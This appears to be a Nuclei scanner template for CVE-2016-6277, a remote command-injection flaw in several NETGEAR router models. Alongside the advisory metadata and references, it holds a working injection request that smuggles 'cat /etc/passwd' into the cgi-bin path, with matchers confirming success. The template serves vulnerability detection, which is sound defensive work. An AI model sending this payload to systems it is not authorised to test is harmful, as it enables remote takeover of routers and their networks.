id: CVE-2016-6277 info: name: NETGEAR Routers - Remote Code Execution author: pikpikcu severity: high description: NETGEAR routers R6250 before 1.0.4.6.Beta, R6400 before 1.0.1.18.Beta, R6700 before 1.0.1.14.Beta, R6900, R7000 before 1.0.7.6.Beta, R7100LG before 1.0.0.28.Beta, R7300DST before 1.0.0.46.Beta, R7900 before 1.0.1.8.Beta, R8000 before 1.0.3.26.Beta, D6220, D6400, D7000, and possibly others allow remote attackers to execute arbitrary commands via shell metacharacters in the path info to cgi-bin/. impact: | Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected router, potentially leading to unauthorized access, data theft, or network compromise. remediation: | Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability. reference: - https://www.sj-vs.net/2016/12/10/temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/ - https://nvd.nist.gov/vuln/detail/CVE-2016-6277 - http://www.sj-vs.net/a-temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/ - https://www.kb.cert.org/vuls/id/582384 - http://kb.netgear.com/000036386/CVE-2016-582384 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2016-6277 cwe-id: CWE-352 epss-score: 0.97471 epss-percentile: 0.99962 cpe: cpe:2.3:o:netgear:d6220_firmware:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: netgear product: d6220_firmware tags: cve2016,cve,netgear,rce,iot,kev http: - method: GET path: - "{{BaseURL}}/cgi-bin/;cat$IFS/etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 490a004630440220486802970cc24d96538b869531c7a01ec169cb576278c3edad08fb0b3171abc802206eba1c836af2a9bbfbf9b2fc2efec581afdaeb05159f11aa43a1a80f99cc78df:922c64590222798bb761d5b6d8e72950